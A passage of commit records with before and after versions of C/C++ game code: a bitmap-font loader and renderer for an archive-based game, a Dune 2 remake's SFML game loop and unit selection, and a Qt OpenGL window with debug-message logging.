FontName[len+5]='.';
FontName[len+6]='f';
FontName[len+7]='n';
FontName[len+8]='t';
FontName[0]='f';
FontName[1]='o';
FontName[2]='n';
FontName[3]='t';
FontName[4]='s';
FontName[5]='/';
HPIEntry Font = FindEntryInAllFiles(FontName, FileCollection, TempArena);
if(Font.Name)
{
if(Font.IsDirectory)
{
}
else
{
u8 * FontFileBuffer = PushArray(TempArena, Font.File.FileSize, u8);
LoadHPIFileEntryData(Font, FontFileBuffer, TempArena);
LoadFNTFont(FontFileBuffer, &FontContainer->Fonts[FontContainer->NumberOfFonts], TempArena);
PopArray(TempArena, FontFileBuffer, Font.File.FileSize, u8);
memcpy(FontContainer->FontNames[FontContainer->NumberOfFonts], Name, len);
FontContainer->FontNames[FontContainer->NumberOfFonts][len]=0;
return &FontContainer->Fonts[FontContainer->NumberOfFonts++];
}
}
return 0;
}
internal void DrawFNTText(r32 X, r32 Y, const char * Text, FNTFont * Font, Texture2DShaderDetails * ShaderDetails, Color Color = {{1,1,1}}, r32 Alpha = 1.0f)
{
u8 * c = (u8*)Text;
r32 PrintX = X,PrintY = Y;
while(*c)
{
FNTGlyph * Char = &Font->Characters[*c];
DrawTexture2D(Font->Texture, PrintX, PrintY , Char->Width, Font->Height , Color, Alpha, ShaderDetails, Char->U, 0, Char->TextureWidth, 1);
PrintX+= Char->Width;
if(*c =='\n')
{
PrintX = X;
PrintY += Font->Height;
}
c++;
}
}
<commit_msg>warnings.<commit_after>internal void LoadCharacter(s16 CharacterOffset, u8 * FileBuffer, u8 * TextureBuffer, int XOffset, int YOffset, int Height, int TextureWidth)
{
if(CharacterOffset ==0)
return;
int Width = * (FileBuffer + CharacterOffset );
if(Width == 0)
return;
u8 * ImageData = (FileBuffer + CharacterOffset + 1);
int ByteOffset = 0, X =0, Y=0;
while(Y< Height)
{
for(int i=7;i>=0;i--)
{
int bit = ImageData[ByteOffset]&(1<<i);
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+0] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+1] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+2] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+3] = bit?(u8)255:(u8)0;
X++;
if(X>=Width)
{
X=0;
Y++;
if(Y>=Height)
break;
}
}
ByteOffset++;
}
}
internal void LoadFNTFont(u8 * Buffer, FNTFont * Font, MemoryArena * TempArena)
{
FILE_FNT * Header = (FILE_FNT*)Buffer;
Font->Height = Header->Height;
int TextureWidth = 0;
for(int i=0;i<255;i++)
{
Font->Characters[i] = {};
if( Header->CharacterOffset[i])
{
Font->Characters[i].Width= *( Buffer + Header->CharacterOffset[i]);
TextureWidth += Font->Characters[i].Width;
}
}
u8 * TextureData = PushArray(TempArena, TextureWidth*Font->Height*4, u8 );
int XOffset = 0;
for(int i=0;i<254;i++)
{
LoadCharacter(Header->CharacterOffset[i] ,Buffer, TextureData, XOffset, 0, Header->Height, TextureWidth);
Font->Characters[i].U=XOffset/(float)TextureWidth;
Font->Characters[i].TextureWidth = Font->Characters[i].Width/(float)TextureWidth;
XOffset += Font->Characters[i].Width;
}
glGenTextures(1,&Font->Texture);
glBindTexture(GL_TEXTURE_2D,Font->Texture);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA,TextureWidth,Font->Height,0, GL_RGBA, GL_UNSIGNED_BYTE, TextureData);
PopArray(TempArena, TextureData,TextureWidth*Font->Height*4, u8 );
}
internal void SetupFontRendering(GLuint * Draw2DVertexBuffer)
{
GLfloat RenderData[6*(2+2)];//6 Vert (2 triangles) each 2 position coords and 2 texture coords
glGenVertexArrays(1,Draw2DVertexBuffer);
GLfloat Vertices[]={0,0, 1,0, 1,1, 0,1};
int Indexes1[]={0,3,1};
for(int i=0;i<3;i++)
{
RenderData[i*(2+2)+0]=Vertices[Indexes1[i]*2+0];
RenderData[i*(2+2)+1]=Vertices[Indexes1[i]*2+1];
RenderData[i*(2+2)+2]=Vertices[Indexes1[i]*2+0];
RenderData[i*(2+2)+3]=Vertices[Indexes1[i]*2+1];
}
int Indexes2[]={1,3,2};
for(int i=0;i<3;i++)
{
RenderData[(i+3)*(2+2)+0]=Vertices[Indexes2[i]*2+0];
RenderData[(i+3)*(2+2)+1]=Vertices[Indexes2[i]*2+1];
RenderData[(i+3)*(2+2)+2]=Vertices[Indexes2[i]*2+0];
RenderData[(i+3)*(2+2)+3]=Vertices[Indexes2[i]*2+1];
}
glBindVertexArray(*Draw2DVertexBuffer);
GLuint VertexBuffer;
glGenBuffers(1,&VertexBuffer);
glBindBuffer(GL_ARRAY_BUFFER,VertexBuffer);
glBufferData(GL_ARRAY_BUFFER,sizeof(GLfloat)*6*(2+2),RenderData,GL_STATIC_DRAW);
glVertexAttribPointer(0,2,GL_FLOAT,GL_FALSE,sizeof(GLfloat)*4,0);
glVertexAttribPointer(1,2,GL_FLOAT,GL_FALSE,sizeof(GLfloat)*4,(void*)(sizeof(GLfloat)*2));
glEnableVertexAttribArray(0);
glEnableVertexAttribArray(1);
glBindVertexArray(0);
}
internal void LoadGafFonts(GameState * CurrentGameState)
{
SetupTextureContainer(&CurrentGameState->Font11, 2120, 15, 256, &CurrentGameState->GameArena);
SetupTextureContainer(&CurrentGameState->Font12, 2880, 18, 256, &CurrentGameState->GameArena);
HPIEntry Font = FindEntryInAllFiles("anims/hattfont12.GAF",&CurrentGameState->GlobalArchiveCollection, &CurrentGameState->TempArena);
if(Font.IsDirectory)
{
LogError("Unexpectedly found a directory while trying to load hatfont12.gaf");
}
else
{
LoadAllTexturesFromHPIEntry(&Font, &CurrentGameState->Font12, &CurrentGameState->TempArena, CurrentGameState->PaletteData);
}
Font = FindEntryInAllFiles("anims/hattfont11.GAF", &CurrentGameState->GlobalArchiveCollection, &CurrentGameState->TempArena);
if(Font.IsDirectory)
{
LogError("Unexpectedly found a directory while trying to load hatfont11.gaf");
}
else
{
LoadAllTexturesFromHPIEntry(&Font, &CurrentGameState->Font11, &CurrentGameState->TempArena, CurrentGameState->PaletteData);
}
}
internal void DrawBitmapCharacter(u8 Character, Texture2DShaderDetails * ShaderDetails, TextureContainer * TextureContainer, float X, float Y, Color Color, float Alpha, int * oWidth, int *oHeight)
{
Texture * tex = GetTexture(&TextureContainer->Textures[0], Character);
float Width = tex->Width * TextureContainer->TextureWidth;
float Height = tex->Height * TextureContainer->TextureHeight;
*oWidth = (int)ceil(Width);
*oHeight = (int)ceil(Height);
float U = tex->U;
float V = tex->V;
DrawTexture2D(TextureContainer->Texture, X, Y-Height, Width, Height, Color, Alpha, ShaderDetails, U, V, tex->Width, tex->Height);
}
internal int FontHeightInPixels(const char * Text, TextureContainer * Font)
{
int Result =0;
u8 * Char = (u8*)Text;
while(*Char)
{
Texture * tex = GetTexture(&Font->Textures[0], *Char);
float CharHeight = tex->Height;
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
if(Result<CharHeightInPixels)
{
Result = CharHeightInPixels;
}
Char++;
}
return Result;
}
struct FontDimensions
{
s32 Width;
s32 Height;
};
internal FontDimensions TextSizeInPixels(const char * Text, TextureContainer * Font)
{
FontDimensions Result = {};
u8 * Char = (u8*)Text;
Texture * Textures = &Font->Textures[0];
int MaxHeight = 0;
int CurrentWidth = 0;
while(*Char)
{
float CharHeight = Textures[*Char].Height;
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
float CharWidth = Textures[*Char].Width;
int CharWidthInPixels = int(CharWidth * Font->TextureWidth);
if(*Char == '\n')
{
Result.Height += MaxHeight;
if(Result.Width < CurrentWidth)
{
Result.Width = CurrentWidth;
}
MaxHeight =0;
CurrentWidth=0;
}
else
{
if(MaxHeight < CharHeightInPixels)
{
MaxHeight = CharHeightInPixels;
}
CurrentWidth += CharWidthInPixels;
}
Char++;
}
if(CurrentWidth != 0 || MaxHeight != 0)
{
Result.Height += MaxHeight;
if(Result.Width < CurrentWidth)
{
Result.Width = CurrentWidth;
}
}
return Result;
}
internal void DrawTextureFontText(const char * Text, int InitialX, int InitialY, TextureContainer * Font, Texture2DShaderDetails * ShaderDetails, float Alpha = 1.0, Color Color ={{1,1,1}})
{
int TextHeight = FontHeightInPixels(Text, Font);
u8* Char = (u8*)Text;
int X =InitialX, Y=InitialY;
while(*Char)
{
Texture * tex = GetTexture(&Font->Textures[0], *Char);
float CharWidth = tex->Width;
float CharHeight = tex->Height;
float U = tex->U, V = tex->V;
int CharWidthInPixels = int(CharWidth * Font->TextureWidth);
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
if(*Char > ' ')
{
DrawTexture2D(Font->Texture,(float) X, float(Y-tex->Y+TextHeight), float(CharWidthInPixels), float(CharHeightInPixels), Color, Alpha, ShaderDetails, U, V, CharWidth, CharHeight);
}
if(*Char == '\n' || *Char == '\r')
{
X=InitialX;
Y+=TextHeight;
}
else
{
X+=CharWidthInPixels;
}
Char++;
}
}
internal FNTFont * GetFont(FontContainer * FontContainer, const char * Name, HPIFileCollection * FileCollection, MemoryArena * TempArena)
{
for(int i=0;i<FontContainer->NumberOfFonts;i++)
{
if(CaseInsensitiveMatch(FontContainer->FontNames[i],Name))
{
return &FontContainer->Fonts[i];
}
}
char FontName[74];
size_t len=strlen(Name)+1;
if(len>63)
len=63;
memcpy(&FontName[6], Name, len);
FontName[len+9]=0;
FontName[len+5]='.';
FontName[len+6]='f';
FontName[len+7]='n';
FontName[len+8]='t';
FontName[0]='f';
FontName[1]='o';
FontName[2]='n';
FontName[3]='t';
FontName[4]='s';
FontName[5]='/';
HPIEntry Font = FindEntryInAllFiles(FontName, FileCollection, TempArena);
if(Font.Name)
{
if(Font.IsDirectory)
{
}
else
{
u8 * FontFileBuffer = PushArray(TempArena, Font.File.FileSize, u8);
LoadHPIFileEntryData(Font, FontFileBuffer, TempArena);
LoadFNTFont(FontFileBuffer, &FontContainer->Fonts[FontContainer->NumberOfFonts], TempArena);
PopArray(TempArena, FontFileBuffer, Font.File.FileSize, u8);
memcpy(FontContainer->FontNames[FontContainer->NumberOfFonts], Name, len);
FontContainer->FontNames[FontContainer->NumberOfFonts][len]=0;
return &FontContainer->Fonts[FontContainer->NumberOfFonts++];
}
}
return 0;
}
internal void DrawFNTText(r32 X, r32 Y, const char * Text, FNTFont * Font, Texture2DShaderDetails * ShaderDetails, Color Color = {{1,1,1}}, r32 Alpha = 1.0f)
{
u8 * c = (u8*)Text;
r32 PrintX = X,PrintY = Y;
while(*c)
{
FNTGlyph * Char = &Font->Characters[*c];
DrawTexture2D(Font->Texture, PrintX, PrintY , (r32)Char->Width, (r32)Font->Height , Color, Alpha, ShaderDetails, Char->U, 0, Char->TextureWidth, 1);
PrintX+= Char->Width;
if(*c =='\n')
{
PrintX = X;
PrintY += Font->Height;
}
c++;
}
}
<|endoftext|> |
<commit_before>#include <iostream>
#include <SFML/Graphics.hpp>
#include "Game.hpp"
#include "Houses.hpp"
#include <boost/cast.hpp>
CreateUnitMessage::CreateUnitMessage(Unit::Type type, const Player &player, const sf::Vector2f &position):
Message(Messages::createUnit),
type(type),
player(player),
position(position)
{
}
const sf::Time Game::TimePerFrame = sf::seconds(1.f/60.f);
Game::Game():
playing(true),
screen(),
map(nullptr),
messages(),
console(messages, players),
actions(screen, console),
unitRepository(messages)
{
sf::ContextSettings settings;
settings.antialiasingLevel = 8;
screen.create(sf::VideoMode(800, 600), "Dune 2 - The Maker", sf::Style::Close, settings);
screen.setFramerateLimit(IDEAL_FPS);
screen.setMouseCursorVisible(false);
messages.connect(Messages::createUnit, [this](const Message& message){
const CreateUnitMessage* received = boost::polymorphic_downcast<const CreateUnitMessage*>(&message);
units.push_back(std::move(unitRepository.create(received->type, received->player, received->position)));
});
if (!init()){
std::cerr << "Failed to initialized game.";
playing = false;
}
}
int Game::execute() {
sf::Clock clock;
sf::Time timeSinceLastUpdate = sf::Time::Zero;
while(playing) {
dt = clock.restart();
timeSinceLastUpdate += dt;
while (timeSinceLastUpdate > TimePerFrame)
{
timeSinceLastUpdate -= TimePerFrame;
updateState(TimePerFrame);
}
render();
}
return 0;
}
bool Game::init() {
if (!terrain.loadFromFile("graphics/terrain.png")) {
std::cout << "Failed to read graphics/terrain.png data" << std::endl;
return false;
}
sf::Image temp;
if (!temp.loadFromFile("graphics/shroud_edges.bmp")) {
std::cout << "Failed to read graphics/shroud_edges.bmp data" << std::endl;
return false;
}
temp.createMaskFromColor(sf::Color(255, 0, 255));
shroudEdges.loadFromImage(temp);
map.reset(new Map(terrain, shroudEdges, messages));
map->load("maps/4PL_Mountains.ini");
camera.reset({0,0,800,600});
screen.setView(camera);
//init two players
int idCount = 0;
players.emplace_back(House::Sardaukar, idCount++);
players.emplace_back(House::Harkonnen, idCount++);
messages.triggerEvent(CreateUnitMessage(Unit::Type::Trike , players[0], {256, 256}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Quad , players[1], {300, 300}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Soldier , players[0], {400, 500}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Soldier , players[0], {220, 500}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Devastator, players[1], {500, 200}));
//register listeners
typedef thor::ActionContext<std::string> actionContext;
actions.connect("close", [this](actionContext){playing = false;});
actions.connect("boxRelease", [this](actionContext){
for (auto& unit : units){
if (box.intersects(unit.getBounds())){
selectUnit(unit);
}
}
box.clear();
});
actions.connect("boxStart", [this](actionContext context) {
if (mouse.getType() != Mouse::Type::Default) {
return;
}
sf::Vector2f toSet = screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera);
box.setTopLeft(toSet);
});
actions.connect("singleSelect", [this](actionContext context){
sf::Vector2f toCheck = screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera);
for (auto& unit : units){
if (unit.getBounds().contains(toCheck))
selectUnit(unit);
}
});
actions.connect("deselectAll", [this](actionContext){
actions.disconnect("orderMove");
mouse.setType(Mouse::Type::Default);
for (auto& unit : units)
unit.unselect();
});
actions.connect("boxDrag", [this](actionContext){
box.setBottomRight(screen.mapPixelToCoords(sf::Mouse::getPosition(screen), camera));
});
const float cameraSpeed = 15.f;
actions.connect("cameraLeft", [this, cameraSpeed](actionContext) {camera.move(-cameraSpeed, 0.f);});
actions.connect("cameraRight", [this, cameraSpeed](actionContext){camera.move(cameraSpeed, 0.f); });
actions.connect("cameraUp", [this, cameraSpeed](actionContext) {camera.move(0.f, -cameraSpeed);});
actions.connect("cameraDown", [this, cameraSpeed](actionContext) {camera.move(0.f, cameraSpeed); });
actions.connect("toggleConsole", std::bind(&Console::toggle, &console));
return true;
}
void Game::render() {
screen.clear();
screen.setView(camera);
screen.draw(*map);
for (const auto& unit : units)
screen.draw(unit);
map->drawShrouded(screen, sf::RenderStates::Default);
screen.draw(box);
screen.draw(fpsCounter);
screen.setView(camera);
console.display(screen);
screen.draw(mouse);
screen.display();
}
void Game::updateState(sf::Time dt) {
actions.update();
console.update(dt);
sf::Vector2i mousePosition = sf::Mouse::getPosition(screen);
if (mousePosition.x < 50 ) actions.trigger("cameraLeft");
else if (mousePosition.y < 50 ) actions.trigger("cameraUp");
else if (mousePosition.x > 750) actions.trigger("cameraRight");
else if (mousePosition.y > 550) actions.trigger("cameraDown");
sf::Vector2f half_of_camera = camera.getSize() / 2.f;
sf::Vector2f topLeft = camera.getCenter() - (half_of_camera);
sf::Vector2f downRight = camera.getCenter() + (half_of_camera);
// Camera constraints take into account an invisible border of 1 cell
if (topLeft.x <= Cell::TILE_SIZE) camera.setCenter(half_of_camera.x + Cell::TILE_SIZE, camera.getCenter().y);
if (topLeft.y <= Cell::TILE_SIZE) camera.setCenter(camera.getCenter().x, half_of_camera.y + Cell::TILE_SIZE);
int max_width = (map->getMaxWidth() -1) * Cell::TILE_SIZE;
int max_height = (map->getMaxHeight() -1) * Cell::TILE_SIZE;
if (downRight.x >= max_width) camera.setCenter(max_width - half_of_camera.x, camera.getCenter().y);
if (downRight.y >= max_height) camera.setCenter(camera.getCenter().x, max_height - half_of_camera.y);
mouse.setPosition(screen.mapPixelToCoords(mousePosition,camera));
for (auto& unit: units)
unit.updateState(units, dt);
fpsCounter.update(dt);
map->prepare(screen.mapPixelToCoords(sf::Vector2i(0,0)));
}
void Game::selectUnit(Unit &unit)
{
unit.select();
actions.connect("orderMove", [this, &unit](thor::ActionContext<std::string> context){
unit.orderMove(screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera));
});
mouse.setType(Mouse::Type::Move); //at least one unit selected...
}
<commit_msg>rebased<commit_after>#include <iostream>
#include <SFML/Graphics.hpp>
#include "Game.hpp"
#include "Houses.hpp"
#include <boost/cast.hpp>
CreateUnitMessage::CreateUnitMessage(Unit::Type type, const Player &player, const sf::Vector2f &position):
Message(Messages::createUnit),
type(type),
player(player),
position(position)
{
}
const sf::Time Game::TimePerFrame = sf::seconds(1.f/60.f);
Game::Game():
playing(true),
screen(),
map(nullptr),
messages(),
console(messages, players),
actions(screen, console),
unitRepository(messages)
{
sf::ContextSettings settings;
settings.antialiasingLevel = 8;
screen.create(sf::VideoMode(800, 600), "Dune 2 - The Maker", sf::Style::Close, settings);
screen.setFramerateLimit(IDEAL_FPS);
screen.setMouseCursorVisible(false);
messages.connect(Messages::createUnit, [this](const Message& message){
const CreateUnitMessage* received = boost::polymorphic_downcast<const CreateUnitMessage*>(&message);
units.push_back(std::move(unitRepository.create(received->type, received->player, received->position)));
});
if (!init()){
std::cerr << "Failed to initialized game.";
playing = false;
}
}
int Game::execute() {
sf::Clock clock;
sf::Time timeSinceLastUpdate = sf::Time::Zero;
while(playing) {
dt = clock.restart();
timeSinceLastUpdate += dt;
while (timeSinceLastUpdate > TimePerFrame)
{
timeSinceLastUpdate -= TimePerFrame;
updateState(TimePerFrame);
}
render();
}
return 0;
}
bool Game::init() {
if (!terrain.loadFromFile("graphics/terrain.png")) {
std::cout << "Failed to read graphics/terrain.png data" << std::endl;
return false;
}
sf::Image temp;
if (!temp.loadFromFile("graphics/shroud_edges.bmp")) {
std::cout << "Failed to read graphics/shroud_edges.bmp data" << std::endl;
return false;
}
temp.createMaskFromColor(sf::Color(255, 0, 255));
shroudEdges.loadFromImage(temp);
map.reset(new Map(terrain, shroudEdges, messages));
map->load("maps/4PL_Mountains.ini");
camera.reset({0,0,800,600});
screen.setView(camera);
//init two players
int idCount = 0;
players.emplace_back(House::Sardaukar, idCount++);
players.emplace_back(House::Harkonnen, idCount++);
messages.triggerEvent(CreateUnitMessage(Unit::Type::Trike , players[0], {256, 256}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Quad , players[1], {300, 300}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Soldier , players[0], {400, 500}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Soldier , players[0], {220, 500}));
messages.triggerEvent(CreateUnitMessage(Unit::Type::Devastator, players[1], {500, 200}));
//register listeners
typedef thor::ActionContext<std::string> actionContext;
actions.connect("close", [this](actionContext){playing = false;});
actions.connect("boxRelease", [this](actionContext){
for (auto& unit : units){
if (box.intersects(unit.getBounds())){
selectUnit(unit);
}
}
box.clear();
});
actions.connect("boxStart", [this](actionContext context) {
if (mouse.getType() != Mouse::Type::Default) {
return;
}
sf::Vector2f toSet = screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera);
box.setTopLeft(toSet);
});
actions.connect("singleSelect", [this](actionContext context){
sf::Vector2f toCheck = screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera);
for (auto& unit : units){
if (unit.getBounds().contains(toCheck))
selectUnit(unit);
}
});
actions.connect("deselectAll", [this](actionContext){
actions.disconnect("orderMove");
mouse.setType(Mouse::Type::Default);
for (auto& unit : units)
unit.unselect();
});
actions.connect("boxDrag", [this](actionContext){
box.setBottomRight(screen.mapPixelToCoords(sf::Mouse::getPosition(screen), camera));
});
const float cameraSpeed = 15.f;
actions.connect("cameraLeft", [this, cameraSpeed](actionContext) {camera.move(-cameraSpeed, 0.f);});
actions.connect("cameraRight", [this, cameraSpeed](actionContext){camera.move(cameraSpeed, 0.f); });
actions.connect("cameraUp", [this, cameraSpeed](actionContext) {camera.move(0.f, -cameraSpeed);});
actions.connect("cameraDown", [this, cameraSpeed](actionContext) {camera.move(0.f, cameraSpeed); });
actions.connect("toggleConsole", std::bind(&Console::toggle, &console));
return true;
}
void Game::render() {
screen.clear();
screen.setView(camera);
screen.draw(*map);
for (const auto& unit : units)
screen.draw(unit);
map->drawShrouded(screen, sf::RenderStates::Default);
screen.draw(box);
screen.draw(fpsCounter);
screen.setView(camera);
console.display(screen);
screen.draw(mouse);
screen.display();
}
void Game::updateState(sf::Time dt) {
actions.update();
console.update(dt);
sf::Vector2i mousePosition = sf::Mouse::getPosition(screen);
if (mousePosition.x < 50 ) actions.trigger("cameraLeft");
else if (mousePosition.y < 50 ) actions.trigger("cameraUp");
else if (mousePosition.x > 750) actions.trigger("cameraRight");
else if (mousePosition.y > 550) actions.trigger("cameraDown");
sf::Vector2f half_of_camera = camera.getSize() / 2.f;
sf::Vector2f topLeft = camera.getCenter() - (half_of_camera);
sf::Vector2f downRight = camera.getCenter() + (half_of_camera);
// Camera constraints take into account an invisible border of 1 cell
if (topLeft.x <= Cell::TILE_SIZE) camera.setCenter(half_of_camera.x + Cell::TILE_SIZE, camera.getCenter().y);
if (topLeft.y <= Cell::TILE_SIZE) camera.setCenter(camera.getCenter().x, half_of_camera.y + Cell::TILE_SIZE);
int max_width = (map->getMaxWidth() -1) * Cell::TILE_SIZE;
int max_height = (map->getMaxHeight() -1) * Cell::TILE_SIZE;
if (downRight.x >= max_width) camera.setCenter(max_width - half_of_camera.x, camera.getCenter().y);
if (downRight.y >= max_height) camera.setCenter(camera.getCenter().x, max_height - half_of_camera.y);
mouse.setPosition(screen.mapPixelToCoords(mousePosition,camera));
for (auto& unit: units)
unit.updateState(units, dt);
fpsCounter.update(dt);
map->prepare(screen.mapPixelToCoords(sf::Vector2i(0,0)));
}
void Game::selectUnit(Unit &unit)
{
unit.select();
actions.connect("orderMove", [this, &unit](thor::ActionContext<std::string> context){
unit.orderMove(screen.mapPixelToCoords(mouse.getHotspot(*context.event), camera));
});
mouse.setType(Mouse::Type::Move); //at least one unit selected...
}
<|endoftext|> |
<commit_before>#include "./window.h"
#include <QOpenGLContext>
#include <QOpenGLDebugLogger>
#include <QDebug>
#include <QCoreApplication>
#include <QStateMachine>
#include <QAbstractState>
#include <QAbstractTransition>
#include <QLoggingCategory>
#include "./graphics/gl.h"
#include "./abstract_scene.h"
QLoggingCategory openGlChan("OpenGl");
Window::Window(std::shared_ptr<AbstractScene> scene, QWindow *parent)
: QQuickView(parent), scene(scene)
{
setClearBeforeRendering(false);
connect(this, SIGNAL(widthChanged(int)), this, SLOT(resizeOpenGL()));
connect(this, SIGNAL(heightChanged(int)), this, SLOT(resizeOpenGL()));
connect(this, &Window::sceneGraphInvalidated, this, &Window::onInvalidated,
Qt::DirectConnection);
connect(reinterpret_cast<QObject *>(engine()), SIGNAL(quit()), this,
SLOT(close()));
connect(this, SIGNAL(beforeRendering()), this, SLOT(render()),
Qt::DirectConnection);
auto format = createSurfaceFormat();
setFormat(format);
timer.start();
}
Window::~Window()
{
disconnect(logger, &QOpenGLDebugLogger::messageLogged, this,
&Window::onMessageLogged);
}
QSurfaceFormat Window::createSurfaceFormat()
{
QSurfaceFormat format;
format.setDepthBufferSize(24);
format.setMajorVersion(4);
format.setMinorVersion(5);
format.setSamples(4);
format.setOption(QSurfaceFormat::DebugContext);
format.setSwapInterval(0);
return format;
}
void Window::initializeOpenGL()
{
qCInfo(openGlChan) << "initializeOpenGL";
context = openglContext();
bool success = context->makeCurrent(this);
qCInfo(openGlChan) << "success: " << success;
gl = new Graphics::Gl();
gl->initialize(context, size());
logger = new QOpenGLDebugLogger(context);
connect(context, &QOpenGLContext::aboutToBeDestroyed, this,
&Window::contextAboutToBeDestroyed, Qt::DirectConnection);
connect(logger, &QOpenGLDebugLogger::messageLogged, this,
&Window::onMessageLogged, Qt::DirectConnection);
if (logger->initialize())
{
logger->startLogging(QOpenGLDebugLogger::SynchronousLogging);
logger->enableMessages();
}
glAssert(gl->glDisable(GL_CULL_FACE));
glAssert(gl->glDisable(GL_DEPTH_TEST));
glAssert(gl->glDisable(GL_STENCIL_TEST));
glAssert(gl->glDisable(GL_BLEND));
glAssert(gl->glDepthMask(GL_FALSE));
}
void Window::onInvalidated()
{
qCInfo(openGlChan) << "on invalidated: delete logger";
scene->cleanup();
delete logger;
}
void Window::handleLazyInitialization()
{
static bool initialized = false;
if (!initialized)
{
initializeOpenGL();
scene->setContext(context, gl);
scene->resize(size().width(), size().height());
scene->initialize();
initialized = true;
}
}
void Window::render()
{
handleLazyInitialization();
update();
scene->render();
// Use to check for missing release calls
// resetOpenGLState();
QQuickView::update();
}
void Window::resizeOpenGL()
{
if (!gl)
return;
qCWarning(openGlChan) << "Resize not supported for now";
/*
scene->resize(width(), height());
gl->setSize(this->size());
*/
}
void Window::update()
{
double frameTime = timer.restart() / 1000.0;
updateAverageFrameTime(frameTime);
scene->update(frameTime);
}
void Window::toggleFullscreen()
{
setVisibility(visibility() == QWindow::Windowed ? QWindow::FullScreen
: QWindow::Windowed);
}
void Window::contextAboutToBeDestroyed()
{
qCInfo(openGlChan) << "Closing rendering thread";
}
void Window::updateAverageFrameTime(double frameTime)
{
runningTime += frameTime;
++framesInSecond;
if (runningTime > 1.0)
{
avgFrameTime = runningTime / framesInSecond;
emit averageFrameTimeUpdated();
framesInSecond = 0;
runningTime = 0;
}
}
void Window::uiFocusChanged(bool hasFocus)
{
qCWarning(openGlChan) << "uiFocusChanged" << hasFocus;
if (hasFocus)
emit uiGotFocus();
else
emit uiLostFocus();
}
void Window::onMessageLogged(QOpenGLDebugMessage message)
{
// Ignore buffer detailed info which cannot be fixed
if (message.id() == 131185)
return;
// Ignore buffer performance warning
if (message.id() == 131186)
return;
// Ignore generic vertex attribute array 1 uses a pointer with a small value
if (message.id() == 131076)
return;
switch (message.severity())
{
case QOpenGLDebugMessage::Severity::NotificationSeverity:
qCInfo(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::LowSeverity:
qCDebug(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::MediumSeverity:
qCWarning(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::HighSeverity:
qCCritical(openGlChan) << message;
throw std::runtime_error(message.message().toStdString());
break;
default:
return;
}
}
<commit_msg>Change debug log output to debug severity.<commit_after>#include "./window.h"
#include <QOpenGLContext>
#include <QOpenGLDebugLogger>
#include <QDebug>
#include <QCoreApplication>
#include <QStateMachine>
#include <QAbstractState>
#include <QAbstractTransition>
#include <QLoggingCategory>
#include "./graphics/gl.h"
#include "./abstract_scene.h"
QLoggingCategory openGlChan("OpenGl");
Window::Window(std::shared_ptr<AbstractScene> scene, QWindow *parent)
: QQuickView(parent), scene(scene)
{
setClearBeforeRendering(false);
connect(this, SIGNAL(widthChanged(int)), this, SLOT(resizeOpenGL()));
connect(this, SIGNAL(heightChanged(int)), this, SLOT(resizeOpenGL()));
connect(this, &Window::sceneGraphInvalidated, this, &Window::onInvalidated,
Qt::DirectConnection);
connect(reinterpret_cast<QObject *>(engine()), SIGNAL(quit()), this,
SLOT(close()));
connect(this, SIGNAL(beforeRendering()), this, SLOT(render()),
Qt::DirectConnection);
auto format = createSurfaceFormat();
setFormat(format);
timer.start();
}
Window::~Window()
{
disconnect(logger, &QOpenGLDebugLogger::messageLogged, this,
&Window::onMessageLogged);
}
QSurfaceFormat Window::createSurfaceFormat()
{
QSurfaceFormat format;
format.setDepthBufferSize(24);
format.setMajorVersion(4);
format.setMinorVersion(5);
format.setSamples(4);
format.setOption(QSurfaceFormat::DebugContext);
format.setSwapInterval(0);
return format;
}
void Window::initializeOpenGL()
{
qCInfo(openGlChan) << "initializeOpenGL";
context = openglContext();
bool success = context->makeCurrent(this);
qCInfo(openGlChan) << "success: " << success;
gl = new Graphics::Gl();
gl->initialize(context, size());
logger = new QOpenGLDebugLogger(context);
connect(context, &QOpenGLContext::aboutToBeDestroyed, this,
&Window::contextAboutToBeDestroyed, Qt::DirectConnection);
connect(logger, &QOpenGLDebugLogger::messageLogged, this,
&Window::onMessageLogged, Qt::DirectConnection);
if (logger->initialize())
{
logger->startLogging(QOpenGLDebugLogger::SynchronousLogging);
logger->enableMessages();
}
glAssert(gl->glDisable(GL_CULL_FACE));
glAssert(gl->glDisable(GL_DEPTH_TEST));
glAssert(gl->glDisable(GL_STENCIL_TEST));
glAssert(gl->glDisable(GL_BLEND));
glAssert(gl->glDepthMask(GL_FALSE));
}
void Window::onInvalidated()
{
qCInfo(openGlChan) << "on invalidated: delete logger";
scene->cleanup();
delete logger;
}
void Window::handleLazyInitialization()
{
static bool initialized = false;
if (!initialized)
{
initializeOpenGL();
scene->setContext(context, gl);
scene->resize(size().width(), size().height());
scene->initialize();
initialized = true;
}
}
void Window::render()
{
handleLazyInitialization();
update();
scene->render();
// Use to check for missing release calls
// resetOpenGLState();
QQuickView::update();
}
void Window::resizeOpenGL()
{
if (!gl)
return;
qCWarning(openGlChan) << "Resize not supported for now";
/*
scene->resize(width(), height());
gl->setSize(this->size());
*/
}
void Window::update()
{
double frameTime = timer.restart() / 1000.0;
updateAverageFrameTime(frameTime);
scene->update(frameTime);
}
void Window::toggleFullscreen()
{
setVisibility(visibility() == QWindow::Windowed ? QWindow::FullScreen
: QWindow::Windowed);
}
